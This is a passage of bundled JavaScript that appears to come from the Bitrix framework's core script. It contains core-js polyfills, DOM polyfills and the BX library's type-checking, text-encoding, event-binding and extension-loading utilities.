				return ordinaryGetOwnMetadata$2(metadataKey, _anObject(target), arguments.length < 3 ? undefined : toMetaKey$5(arguments[2]));
			}
		});

		var ordinaryOwnMetadataKeys$2 = _metadata.keys;
		var toMetaKey$6 = _metadata.key;
		_metadata.exp({
			getOwnMetadataKeys: function getOwnMetadataKeys(target
															/* , targetKey */
			) {
				return ordinaryOwnMetadataKeys$2(_anObject(target), arguments.length < 2 ? undefined : toMetaKey$6(arguments[1]));
			}
		});

		var ordinaryHasOwnMetadata$2 = _metadata.has;
		var toMetaKey$7 = _metadata.key;

		var ordinaryHasMetadata = function ordinaryHasMetadata(MetadataKey, O, P) {
			var hasOwn = ordinaryHasOwnMetadata$2(MetadataKey, O, P);
			if (hasOwn) return true;
			var parent = _objectGpo(O);
			return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false;
		};

		_metadata.exp({
			hasMetadata: function hasMetadata(metadataKey, target
											  /* , targetKey */
			) {
				return ordinaryHasMetadata(metadataKey, _anObject(target), arguments.length < 3 ? undefined : toMetaKey$7(arguments[2]));
			}
		});

		var ordinaryHasOwnMetadata$3 = _metadata.has;
		var toMetaKey$8 = _metadata.key;
		_metadata.exp({
			hasOwnMetadata: function hasOwnMetadata(metadataKey, target
													/* , targetKey */
			) {
				return ordinaryHasOwnMetadata$3(metadataKey, _anObject(target), arguments.length < 3 ? undefined : toMetaKey$8(arguments[2]));
			}
		});

		var toMetaKey$9 = _metadata.key;
		var ordinaryDefineOwnMetadata$2 = _metadata.set;
		_metadata.exp({
			metadata: function metadata(metadataKey, metadataValue) {
				return function decorator(target, targetKey) {
					ordinaryDefineOwnMetadata$2(metadataKey, metadataValue, (targetKey !== undefined ? _anObject : _aFunction)(target), toMetaKey$9(targetKey));
				};
			}
		});

		// https://github.com/rwaldron/tc39-notes/blob/master/es6/2014-09/sept-25.md#510-globalasap-for-enqueuing-a-microtask


		var microtask$1 = _microtask();

		var process$3 = _global.process;

		var isNode$2 = _cof(process$3) == 'process';
		_export(_export.G, {
			asap: function asap(fn) {
				var domain = isNode$2 && process$3.domain;
				microtask$1(domain ? domain.bind(fn) : fn);
			}
		});

		var microtask$2 = _microtask();

		var OBSERVABLE = _wks('observable');













		var RETURN = _forOf.RETURN;

		var getMethod = function getMethod(fn) {
			return fn == null ? undefined : _aFunction(fn);
		};

		var cleanupSubscription = function cleanupSubscription(subscription) {
			var cleanup = subscription._c;

			if (cleanup) {
				subscription._c = undefined;
				cleanup();
			}
		};

		var subscriptionClosed = function subscriptionClosed(subscription) {
			return subscription._o === undefined;
		};

		var closeSubscription = function closeSubscription(subscription) {
			if (!subscriptionClosed(subscription)) {
				subscription._o = undefined;
				cleanupSubscription(subscription);
			}
		};

		var Subscription = function Subscription(observer, subscriber) {
			_anObject(observer);
			this._c = undefined;
			this._o = observer;
			observer = new SubscriptionObserver(this);

			try {
				var cleanup = subscriber(observer);
				var subscription = cleanup;

				if (cleanup != null) {
					if (typeof cleanup.unsubscribe === 'function') cleanup = function cleanup() {
						subscription.unsubscribe();
					};else _aFunction(cleanup);
					this._c = cleanup;
				}
			} catch (e) {
				observer.error(e);
				return;
			}

			if (subscriptionClosed(this)) cleanupSubscription(this);
		};

		Subscription.prototype = _redefineAll({}, {
			unsubscribe: function unsubscribe() {
				closeSubscription(this);
			}
		});

		var SubscriptionObserver = function SubscriptionObserver(subscription) {
			this._s = subscription;
		};

		SubscriptionObserver.prototype = _redefineAll({}, {
			next: function next(value) {
				var subscription = this._s;

				if (!subscriptionClosed(subscription)) {
					var observer = subscription._o;

					try {
						var m = getMethod(observer.next);
						if (m) return m.call(observer, value);
					} catch (e) {
						try {
							closeSubscription(subscription);
						} finally {
							throw e;
						}
					}
				}
			},
			error: function error(value) {
				var subscription = this._s;
				if (subscriptionClosed(subscription)) throw value;
				var observer = subscription._o;
				subscription._o = undefined;

				try {
					var m = getMethod(observer.error);
					if (!m) throw value;
					value = m.call(observer, value);
				} catch (e) {
					try {
						cleanupSubscription(subscription);
					} finally {
						throw e;
					}
				}

				cleanupSubscription(subscription);
				return value;
			},
			complete: function complete(value) {
				var subscription = this._s;

				if (!subscriptionClosed(subscription)) {
					var observer = subscription._o;
					subscription._o = undefined;

					try {
						var m = getMethod(observer.complete);
						value = m ? m.call(observer, value) : undefined;
					} catch (e) {
						try {
							cleanupSubscription(subscription);
						} finally {
							throw e;
						}
					}

					cleanupSubscription(subscription);
					return value;
				}
			}
		});

		var $Observable = function Observable(subscriber) {
			_anInstance(this, $Observable, 'Observable', '_f')._f = _aFunction(subscriber);
		};

		_redefineAll($Observable.prototype, {
			subscribe: function subscribe(observer) {
				return new Subscription(observer, this._f);
			},
			forEach: function forEach(fn) {
				var that = this;
				return new (_core.Promise || _global.Promise)(function (resolve, reject) {
					_aFunction(fn);
					var subscription = that.subscribe({
						next: function next(value) {
							try {
								return fn(value);
							} catch (e) {
								reject(e);
								subscription.unsubscribe();
							}
						},
						error: reject,
						complete: resolve
					});
				});
			}
		});
		_redefineAll($Observable, {
			from: function from(x) {
				var C = typeof this === 'function' ? this : $Observable;
				var method = getMethod(_anObject(x)[OBSERVABLE]);

				if (method) {
					var observable = _anObject(method.call(x));
					return observable.constructor === C ? observable : new C(function (observer) {
						return observable.subscribe(observer);
					});
				}

				return new C(function (observer) {
					var done = false;
					microtask$2(function () {
						if (!done) {
							try {
								if (_forOf(x, false, function (it) {
									observer.next(it);
									if (done) return RETURN;
								}) === RETURN) return;
							} catch (e) {
								if (done) throw e;
								observer.error(e);
								return;
							}

							observer.complete();
						}
					});
					return function () {
						done = true;
					};
				});
			},
			of: function of() {
				for (var i = 0, l = arguments.length, items = new Array(l); i < l;) {
					items[i] = arguments[i++];
				}

				return new (typeof this === 'function' ? this : $Observable)(function (observer) {
					var done = false;
					microtask$2(function () {
						if (!done) {
							for (var j = 0; j < items.length; ++j) {
								observer.next(items[j]);
								if (done) return;
							}

							observer.complete();
						}
					});
					return function () {
						done = true;
					};
				});
			}
		});
		_hide($Observable.prototype, OBSERVABLE, function () {
			return this;
		});
		_export(_export.G, {
			Observable: $Observable
		});

		_setSpecies('Observable');

		// ie9- setTimeout & setInterval additional parameters fix






		var slice = [].slice;
		var MSIE = /MSIE .\./.test(_userAgent); // <- dirty ie9- check

		var wrap$1 = function wrap(set) {
			return function (fn, time
							 /* , ...args */
			) {
				var boundArgs = arguments.length > 2;
				var args = boundArgs ? slice.call(arguments, 2) : false;
				return set(boundArgs ? function () {
					// eslint-disable-next-line no-new-func
					(typeof fn == 'function' ? fn : Function(fn)).apply(this, args);
				} : fn, time);
			};
		};

		_export(_export.G + _export.B + _export.F * MSIE, {
			setTimeout: wrap$1(_global.setTimeout),
			setInterval: wrap$1(_global.setInterval)
		});

		_export(_export.G + _export.B, {
			setImmediate: _task.set,
			clearImmediate: _task.clear
		});

		var ITERATOR$4 = _wks('iterator');
		var TO_STRING_TAG = _wks('toStringTag');
		var ArrayValues = _iterators.Array;
		var DOMIterables = {
			CSSRuleList: true,
			// TODO: Not spec compliant, should be false.
			CSSStyleDeclaration: false,
			CSSValueList: false,
			ClientRectList: false,
			DOMRectList: false,
			DOMStringList: false,
			DOMTokenList: true,
			DataTransferItemList: false,
			FileList: false,
			HTMLAllCollection: false,
			HTMLCollection: false,
			HTMLFormElement: false,
			HTMLSelectElement: false,
			MediaList: true,
			// TODO: Not spec compliant, should be false.
			MimeTypeArray: false,
			NamedNodeMap: false,
			NodeList: true,
			PaintRequestList: false,
			Plugin: false,
			PluginArray: false,
			SVGLengthList: false,
			SVGNumberList: false,
			SVGPathSegList: false,
			SVGPointList: false,
			SVGStringList: false,
			SVGTransformList: false,
			SourceBufferList: false,
			StyleSheetList: true,
			// TODO: Not spec compliant, should be false.
			TextTrackCueList: false,
			TextTrackList: false,
			TouchList: false
		};

		for (var collections = _objectKeys(DOMIterables), i$2 = 0; i$2 < collections.length; i$2++) {
			var NAME$1 = collections[i$2];
			var explicit = DOMIterables[NAME$1];
			var Collection = _global[NAME$1];
			var proto$3 = Collection && Collection.prototype;
			var key$1;

			if (proto$3) {
				if (!proto$3[ITERATOR$4]) _hide(proto$3, ITERATOR$4, ArrayValues);
				if (!proto$3[TO_STRING_TAG]) _hide(proto$3, TO_STRING_TAG, NAME$1);
				_iterators[NAME$1] = ArrayValues;
				if (explicit) for (key$1 in es6_array_iterator) {
					if (!proto$3[key$1]) _redefine(proto$3, key$1, es6_array_iterator[key$1], true);
				}
			}
		}

		if (window._main_core_polyfill) {
			console.warn('main.core.polyfill is loaded more than once on this page');
		}

		window._main_core_polyfill = true;

	}((this.window = this.window || {})));



	/**
	 * Element.prototype.matches polyfill
	 */
	;(function(element) {
		'use strict';

		if (!element.matches && element.matchesSelector)
		{
			element.matches = element.matchesSelector;
		}

		if (!element.matches)
		{
			element.matches = function(selector) {
				var matches = document.querySelectorAll(selector);
				var self = this;

				return Array.prototype.some.call(matches, function(e) {
					return e === self;
				});
			};
		}

	})(Element.prototype);

	;(function() {
		'use strict';

		if (!Element.prototype.closest)
		{
			/**
			 * Finds closest parent element by selector
			 * @param {string} selector
			 * @return {HTMLElement|Element|Node}
			 */
			Object.defineProperty(Element.prototype, 'closest', {
				enumerable: false,
				value: function(selector) {
					var node = this;

					while (node)
					{
						if (node.matches(selector))
						{
							return node;
						}

						node = node.parentElement;
					}

					return null;
				},
			});
		}
	})();

	(function (exports) {
		'use strict';

		if (!window.DOMRect || typeof DOMRect.prototype.toJSON !== 'function' || typeof DOMRect.fromRect !== 'function') {
			window.DOMRect =
				/*#__PURE__*/
				function () {
					function DOMRect(x, y, width, height) {
						babelHelpers.classCallCheck(this, DOMRect);
						this.x = x || 0;
						this.y = y || 0;
						this.width = width || 0;
						this.height = height || 0;
					}

					babelHelpers.createClass(DOMRect, [{
						key: "toJSON",
						value: function toJSON() {
							return {
								top: this.top,
								left: this.left,
								right: this.right,
								bottom: this.bottom,
								width: this.width,
								height: this.height,
								x: this.x,
								y: this.y
							};
						}
					}, {
						key: "top",
						get: function get() {
							return this.y;
						}
					}, {
						key: "left",
						get: function get() {
							return this.x;
						}
					}, {
						key: "right",
						get: function get() {
							return this.x + this.width;
						}
					}, {
						key: "bottom",
						get: function get() {
							return this.y + this.height;
						}
					}], [{
						key: "fromRect",
						value: function fromRect(otherRect) {
							return new DOMRect(otherRect.x, otherRect.y, otherRect.width, otherRect.height);
						}
					}]);
					return DOMRect;
				}();
		}

	}((this.window = this.window || {})));




	(function (exports) {
		'use strict';

		var bxTmp = window.BX;

		window.BX = function (node) {
			if (window.BX.type.isNotEmptyString(node)) {
				return document.getElementById(node);
			}

			if (window.BX.type.isDomNode(node)) {
				return node;
			}

			if (window.BX.type.isFunction(node)) {
				return window.BX.ready(node);
			}

			return null;
		};

		if (bxTmp) {
			Object.keys(bxTmp).forEach(function (key) {
				window.BX[key] = bxTmp[key];
			});
		}

		exports = window.BX;

		/**
		 * Gets object.toString result
		 * @param value
		 * @return {string}
		 */
		function getTag(value) {
			return Object.prototype.toString.call(value);
		}

		var objectCtorString = Function.prototype.toString.call(Object);
		/**
		 * @memberOf BX
		 */

		var Type = /*#__PURE__*/function () {
			function Type() {
				babelHelpers.classCallCheck(this, Type);
			}

			babelHelpers.createClass(Type, null, [{
				key: "isString",

				/**
				 * Checks that value is string
				 * @param value
				 * @return {boolean}
				 */
				value: function isString(value) {
					return typeof value === 'string';
				}
				/**
				 * Returns true if a value is not empty string
				 * @param value
				 * @returns {boolean}
				 */

			}, {
				key: "isStringFilled",
				value: function isStringFilled(value) {
					return this.isString(value) && value !== '';
				}
				/**
				 * Checks that value is function
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isFunction",
				value: function isFunction(value) {
					return typeof value === 'function';
				}
				/**
				 * Checks that value is object
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isObject",
				value: function isObject(value) {
					return !!value && (babelHelpers.typeof(value) === 'object' || typeof value === 'function');
				}
				/**
				 * Checks that value is object like
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isObjectLike",
				value: function isObjectLike(value) {
					return !!value && babelHelpers.typeof(value) === 'object';
				}
				/**
				 * Checks that value is plain object
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isPlainObject",
				value: function isPlainObject(value) {
					if (!Type.isObjectLike(value) || getTag(value) !== '[object Object]') {
						return false;
					}

					var proto = Object.getPrototypeOf(value);

					if (proto === null) {
						return true;
					}

					var ctor = proto.hasOwnProperty('constructor') && proto.constructor;
					return typeof ctor === 'function' && Function.prototype.toString.call(ctor) === objectCtorString;
				}
				/**
				 * Checks that value is boolean
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isBoolean",
				value: function isBoolean(value) {
					return value === true || value === false;
				}
				/**
				 * Checks that value is number
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isNumber",
				value: function isNumber(value) {
					return !Number.isNaN(value) && typeof value === 'number';
				}
				/**
				 * Checks that value is integer
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isInteger",
				value: function isInteger(value) {
					return Type.isNumber(value) && value % 1 === 0;
				}
				/**
				 * Checks that value is float
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isFloat",
				value: function isFloat(value) {
					return Type.isNumber(value) && !Type.isInteger(value);
				}
				/**
				 * Checks that value is nil
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isNil",
				value: function isNil(value) {
					return value === null || value === undefined;
				}
				/**
				 * Checks that value is array
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isArray",
				value: function isArray(value) {
					return !Type.isNil(value) && Array.isArray(value);
				}
				/**
				 * Returns true if a value is an array and it has at least one element
				 * @param value
				 * @returns {boolean}
				 */

			}, {
				key: "isArrayFilled",
				value: function isArrayFilled(value) {
					return this.isArray(value) && value.length > 0;
				}
				/**
				 * Checks that value is array like
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isArrayLike",
				value: function isArrayLike(value) {
					return !Type.isNil(value) && !Type.isFunction(value) && value.length > -1 && value.length <= Number.MAX_SAFE_INTEGER;
				}
				/**
				 * Checks that value is Date
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isDate",
				value: function isDate(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object Date]';
				}
				/**
				 * Checks that is DOM node
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isDomNode",
				value: function isDomNode(value) {
					return Type.isObjectLike(value) && !Type.isPlainObject(value) && 'nodeType' in value;
				}
				/**
				 * Checks that value is element node
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isElementNode",
				value: function isElementNode(value) {
					return Type.isDomNode(value) && value.nodeType === Node.ELEMENT_NODE;
				}
				/**
				 * Checks that value is text node
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isTextNode",
				value: function isTextNode(value) {
					return Type.isDomNode(value) && value.nodeType === Node.TEXT_NODE;
				}
				/**
				 * Checks that value is Map
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isMap",
				value: function isMap(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object Map]';
				}
				/**
				 * Checks that value is Set
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isSet",
				value: function isSet(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object Set]';
				}
				/**
				 * Checks that value is WeakMap
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isWeakMap",
				value: function isWeakMap(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object WeakMap]';
				}
				/**
				 * Checks that value is WeakSet
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isWeakSet",
				value: function isWeakSet(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object WeakSet]';
				}
				/**
				 * Checks that value is prototype
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isPrototype",
				value: function isPrototype(value) {
					return (typeof (value && value.constructor) === 'function' && value.constructor.prototype || Object.prototype) === value;
				}
				/**
				 * Checks that value is regexp
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isRegExp",
				value: function isRegExp(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object RegExp]';
				}
				/**
				 * Checks that value is null
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isNull",
				value: function isNull(value) {
					return value === null;
				}
				/**
				 * Checks that value is undefined
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isUndefined",
				value: function isUndefined(value) {
					return typeof value === 'undefined';
				}
				/**
				 * Checks that value is ArrayBuffer
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isArrayBuffer",
				value: function isArrayBuffer(value) {
					return Type.isObjectLike(value) && getTag(value) === '[object ArrayBuffer]';
				}
				/**
				 * Checks that value is typed array
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isTypedArray",
				value: function isTypedArray(value) {
					var regExpTypedTag = /^\[object (?:Float(?:32|64)|(?:Int|Uint)(?:8|16|32)|Uint8Clamped)]$/;
					return Type.isObjectLike(value) && regExpTypedTag.test(getTag(value));
				}
				/**
				 * Checks that value is Blob
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isBlob",
				value: function isBlob(value) {
					return Type.isObjectLike(value) && Type.isNumber(value.size) && Type.isString(value.type) && Type.isFunction(value.slice);
				}
				/**
				 * Checks that value is File
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isFile",
				value: function isFile(value) {
					return Type.isBlob(value) && Type.isString(value.name) && (Type.isNumber(value.lastModified) || Type.isObjectLike(value.lastModifiedDate));
				}
				/**
				 * Checks that value is FormData
				 * @param value
				 * @return {boolean}
				 */

			}, {
				key: "isFormData",
				value: function isFormData(value) {
					return value instanceof FormData;
				}
			}]);
			return Type;
		}();

		/**
		 * @memberOf BX
		 */

		var Reflection = /*#__PURE__*/function () {
			function Reflection() {
				babelHelpers.classCallCheck(this, Reflection);
			}

			babelHelpers.createClass(Reflection, null, [{
				key: "getClass",

				/**
				 * Gets link to function by function name
				 * @param className
				 * @return {?Function}
				 */
				value: function getClass(className) {
					if (Type.isString(className) && !!className) {
						var classFn = null;
						var currentNamespace = window;
						var namespaces = className.split('.');

						for (var i = 0; i < namespaces.length; i += 1) {
							var namespace = namespaces[i];

							if (!currentNamespace[namespace]) {
								return null;
							}

							currentNamespace = currentNamespace[namespace];
							classFn = currentNamespace;
						}

						return classFn;
					}

					if (Type.isFunction(className)) {
						return className;
					}

					return null;
				}
				/**
				 * Creates a namespace or returns a link to a previously created one
				 * @param {String} namespaceName
				 * @return {Object<string, any> | Function | null}
				 */

			}, {
				key: "namespace",
				value: function namespace(namespaceName) {
					var parts = namespaceName.split('.');
					var parent = window.BX;

					if (parts[0] === 'BX') {
						parts = parts.slice(1);
					}

					for (var i = 0; i < parts.length; i += 1) {
						if (Type.isUndefined(parent[parts[i]])) {
							parent[parts[i]] = {};
						}

						parent = parent[parts[i]];
					}

					return parent;
				}
			}]);
			return Reflection;
		}();

		var reEscape = /[&<>'"]/g;
		var reUnescape = /&(?:amp|#38|lt|#60|gt|#62|apos|#39|quot|#34);/g;
		var escapeEntities = {
			'&': '&amp;',
			'<': '&lt;',
			'>': '&gt;',
			"'": '&#39;',
			'"': '&quot;'
		};
		var unescapeEntities = {
			'&amp;': '&',
			'&#38;': '&',
			'&lt;': '<',
			'&#60;': '<',
			'&gt;': '>',
			'&#62;': '>',
			'&apos;': "'",
			'&#39;': "'",
			'&quot;': '"',
			'&#34;': '"'
		};
		/**
		 * @memberOf BX
		 */

		var Text = /*#__PURE__*/function () {
			function Text() {
				babelHelpers.classCallCheck(this, Text);
			}

			babelHelpers.createClass(Text, null, [{
				key: "encode",

				/**
				 * Encodes all unsafe entities
				 * @param {string} value
				 * @return {string}
				 */
				value: function encode(value) {
					if (Type.isString(value)) {
						return value.replace(reEscape, function (item) {
							return escapeEntities[item];
						});
					}

					return value;
				}
				/**
				 * Decodes all encoded entities
				 * @param {string} value
				 * @return {string}
				 */

			}, {
				key: "decode",
				value: function decode(value) {
					if (Type.isString(value)) {
						return value.replace(reUnescape, function (item) {
							return unescapeEntities[item];
						});
					}

					return value;
				}
			}, {
				key: "getRandom",
				value: function getRandom() {
					var length = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 8;
					// eslint-disable-next-line
					return babelHelpers.toConsumableArray(Array(length)).map(function () {
						return (~~(Math.random() * 36)).toString(36);
					}).join('');
				}
			}, {
				key: "toNumber",
				value: function toNumber(value) {
					var parsedValue = Number.parseFloat(value);

					if (Type.isNumber(parsedValue)) {
						return parsedValue;
					}

					return 0;
				}
			}, {
				key: "toInteger",
				value: function toInteger(value) {
					return Text.toNumber(Number.parseInt(value, 10));
				}
			}, {
				key: "toBoolean",
				value: function toBoolean(value) {
					var trueValues = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
					var transformedValue = Type.isString(value) ? value.toLowerCase() : value;
					return ['true', 'y', '1', 1, true].concat(babelHelpers.toConsumableArray(trueValues)).includes(transformedValue);
				}
			}, {
				key: "toCamelCase",
				value: function toCamelCase(str) {
					if (!Type.isStringFilled(str)) {
						return str;
					}

					var regex = /[-_\s]+(.)?/g;

					if (!regex.test(str)) {
						return str.match(/^[A-Z]+$/) ? str.toLowerCase() : str[0].toLowerCase() + str.slice(1);
					}

					str = str.toLowerCase();
					str = str.replace(regex, function (match, letter) {
						return letter ? letter.toUpperCase() : '';
					});
					return str[0].toLowerCase() + str.substr(1);
				}
			}, {
				key: "toPascalCase",
				value: function toPascalCase(str) {
					if (!Type.isStringFilled(str)) {
						return str;
					}

					return this.capitalize(this.toCamelCase(str));
				}
			}, {
				key: "toKebabCase",
				value: function toKebabCase(str) {
					if (!Type.isStringFilled(str)) {
						return str;
					}

					var matches = str.match(/[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+/g);

					if (!matches) {
						return str;
					}

					return matches.map(function (x) {
						return x.toLowerCase();
					}).join('-');
				}
			}, {
				key: "capitalize",
				value: function capitalize(str) {
					if (!Type.isStringFilled(str)) {
						return str;
					}

					return str[0].toUpperCase() + str.substr(1);
				}
			}]);
			return Text;
		}();

		var aliases = {
			mousewheel: ['DOMMouseScroll'],
			bxchange: ['change', 'cut', 'paste', 'drop', 'keyup'],
			animationend: ['animationend', 'oAnimationEnd', 'webkitAnimationEnd', 'MSAnimationEnd'],
			transitionend: ['webkitTransitionEnd', 'otransitionend', 'oTransitionEnd', 'msTransitionEnd', 'transitionend'],
			fullscreenchange: ['fullscreenchange', 'webkitfullscreenchange', 'mozfullscreenchange', 'MSFullscreenChange'],
			fullscreenerror: ['fullscreenerror', 'webkitfullscreenerror', 'mozfullscreenerror', 'MSFullscreenError']
		};

		var Registry = /*#__PURE__*/function () {
			function Registry() {
				babelHelpers.classCallCheck(this, Registry);
				babelHelpers.defineProperty(this, "registry", new WeakMap());
			}

			babelHelpers.createClass(Registry, [{
				key: "set",
				value: function set(target, event, listener) {
					var events = this.get(target);

					if (!Type.isSet(events[event])) {
						events[event] = new Set();
					}

					events[event].add(listener);
					this.registry.set(target, events);
				}
			}, {
				key: "get",
				value: function get(target) {
					return this.registry.get(target) || {};
				}
			}, {
				key: "has",
				value: function has(target, event, listener) {
					if (event && listener) {
						return this.registry.has(target) && this.registry.get(target)[event].has(listener);
					}

					return this.registry.has(target);
				}
			}, {
				key: "delete",
				value: function _delete(target, event, listener) {
					if (!Type.isDomNode(target)) {
						return;
					}

					if (Type.isString(event) && Type.isFunction(listener)) {
						var events = this.registry.get(target);

						if (Type.isPlainObject(events) && Type.isSet(events[event])) {
							events[event].delete(listener);
						}

						return;
					}

					if (Type.isString(event)) {
						var _events = this.registry.get(target);

						if (Type.isPlainObject(_events) && Type.isSet(_events[event])) {
							_events[event] = new Set();
						}

						return;
					}

					this.registry.delete(target);
				}
			}]);
			return Registry;
		}();
		var registry = new Registry();

		function isOptionSupported(name) {
			var isSupported = false;

			try {
				var options = Object.defineProperty({}, name, {
					get: function get() {
						isSupported = true;
						return undefined;
					}
				});
				window.addEventListener('test', null, options);
			} // eslint-disable-next-line
			catch (err) {}

			return isSupported;
		}

		function fetchSupportedListenerOptions(options) {
			if (!Type.isPlainObject(options)) {
				return options;
			}

			return Object.keys(options).reduce(function (acc, name) {
				if (isOptionSupported(name)) {
					acc[name] = options[name];
				}

				return acc;
			}, {});
		}

		function bind(target, eventName, handler, options) {
			if (!Type.isObject(target) || !Type.isFunction(target.addEventListener)) {
				return;
			}

			var listenerOptions = fetchSupportedListenerOptions(options);

			if (eventName in aliases) {
				aliases[eventName].forEach(function (key) {
					target.addEventListener(key, handler, listenerOptions);
					registry.set(target, eventName, handler);
				});
				return;
			}

			target.addEventListener(eventName, handler, listenerOptions);
			registry.set(target, eventName, handler);
		}

		function unbind(target, eventName, handler, options) {
			if (!Type.isObject(target) || !Type.isFunction(target.removeEventListener)) {
				return;
			}

			var listenerOptions = fetchSupportedListenerOptions(options);

			if (eventName in aliases) {
				aliases[eventName].forEach(function (key) {
					target.removeEventListener(key, handler, listenerOptions);
					registry.delete(target, key, handler);
				});
				return;
			}

			target.removeEventListener(eventName, handler, listenerOptions);
			registry.delete(target, eventName, handler);
		}

		function unbindAll(target, eventName) {
			var events = registry.get(target);
			Object.keys(events).forEach(function (currentEvent) {
				events[currentEvent].forEach(function (handler) {
					if (!Type.isString(eventName) || eventName === currentEvent) {
						unbind(target, currentEvent, handler);
					}
				});
			});
		}

		function bindOnce(target, eventName, handler, options) {
			var once = function once() {
				unbind(target, eventName, once, options);
				handler.apply(void 0, arguments);
			};

			bind(target, eventName, once, options);
		}

		var debugState = true;
		function enableDebug() {
			debugState = true;
		}
		function disableDebug() {
			debugState = false;
		}
		function isDebugEnabled() {
			return debugState;
		}
		function debug() {
			if (isDebugEnabled() && Type.isObject(window.console)) {
				if (Type.isFunction(window.console.log)) {
					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					window.console.log('BX.debug: ', args.length > 0 ? args : args[0]);

					if (args[0] instanceof Error && args[0].stack) {
						window.console.log('BX.debug error stack trace', args[0].stack);
					}
				}

				if (Type.isFunction(window.console.trace)) {
					// eslint-disable-next-line
					console.trace();
				}
			}
		}

		function fetchExtensionSettings(html) {
			if (Type.isStringFilled(html)) {
				var scripts = html.match(/<script type="extension\/settings" \b[^>]*>([\s\S]*?)<\/script>/g);

				if (Type.isArrayFilled(scripts)) {
					return scripts.map(function (script) {
						var _script$match = script.match(/data-extension="(.[a-z0-9_.-]+)"/),
							_script$match2 = babelHelpers.slicedToArray(_script$match, 2),
							extension = _script$match2[1];

						return {
							extension: extension,
							script: script
						};
					});
				}
			}

			return [];
		}

		var Extension = /*#__PURE__*/function () {
			function Extension(options) {
				babelHelpers.classCallCheck(this, Extension);
				this.config = options.config || {};
				this.name = options.extension;
				this.state = 'scheduled'; // eslint-disable-next-line

				var result = BX.processHTML(options.html || '');
				this.inlineScripts = result.SCRIPT.reduce(inlineScripts, []);
				this.externalScripts = result.SCRIPT.reduce(externalScripts, []);
				this.externalStyles = result.STYLE.reduce(externalStyles, []);
				this.settingsScripts = fetchExtensionSettings(result.HTML);
			}

			babelHelpers.createClass(Extension, [{
				key: "load",
				value: function load() {
					var _this = this;

					if (this.state === 'error') {
						this.loadPromise = this.loadPromise || Promise.resolve(this);
						console.warn('Extension', this.name, 'not found');
					}

					if (!this.loadPromise && this.state) {
						this.state = 'load';
						this.settingsScripts.forEach(function (entry) {
							var isLoaded = !!document.querySelector("script[data-extension=\"".concat(entry.extension, "\"]"));

							if (!isLoaded) {
								document.body.insertAdjacentHTML('beforeend', entry.script);
							}
						});
						this.inlineScripts.forEach(BX.evalGlobal);
						this.loadPromise = Promise.all([loadAll(this.externalScripts), loadAll(this.externalStyles)]).then(function () {
							_this.state = 'loaded';

							if (Type.isPlainObject(_this.config) && _this.config.namespace) {
								return Reflection.getClass(_this.config.namespace);
							}

							return window;
						});
					}

					return this.loadPromise;
				}
			}]);
			return Extension;
		}();

		var initialized = {};
		var ajaxController = 'main.bitrix.main.controller.loadext.getextensions';

		function makeIterable(value) {
			return Type.isArray(value) ? value : [value];
		}
		function isInitialized(extension) {
			return extension in initialized;
		}
		function getInitialized(extension) {
			return initialized[extension];
		}
		function isAllInitialized(extensions) {
			return extensions.every(isInitialized);
		}
		function loadExtensions(extensions) {
			return Promise.all(extensions.map(function (item) {
				return item.load();
			}));
		}
		function mergeExports(exports) {
			return exports.reduce(function (acc, currentExports) {
				if (Type.isObject(currentExports)) {
					return babelHelpers.objectSpread({}, currentExports);
				}

				return currentExports;
			}, {});
		}
		function inlineScripts(acc, item) {
			if (item.isInternal) {
				acc.push(item.JS);
			}

			return acc;
		}
		function externalScripts(acc, item) {
			if (!item.isInternal) {
				acc.push(item.JS);
			}

			return acc;
		}
		function externalStyles(acc, item) {
			if (Type.isString(item) && item !== '') {
				acc.push(item);
			}

			return acc;
		}
		function request(options) {
			return new Promise(function (resolve) {
				// eslint-disable-next-line
				BX.ajax.runAction(ajaxController, {
					data: options
				}).then(resolve);
			});
		}
		function prepareExtensions(response) {
			if (response.status !== 'success') {
				response.errors.map(console.warn);
				return [];
			}

			return response.data.map(function (item) {
				var initializedExtension = getInitialized(item.extension);

				if (initializedExtension) {
					return initializedExtension;
				}

				initialized[item.extension] = new Extension(item);
				return initialized[item.extension];
			});
		}
		function loadAll(items) {
			var itemsList = makeIterable(items);

			if (!itemsList.length) {
				return Promise.resolve();
			}

			return new Promise(function (resolve) {
				// eslint-disable-next-line
				BX.load(itemsList, resolve);
			});
		}

		/**
		 * Loads extensions asynchronously
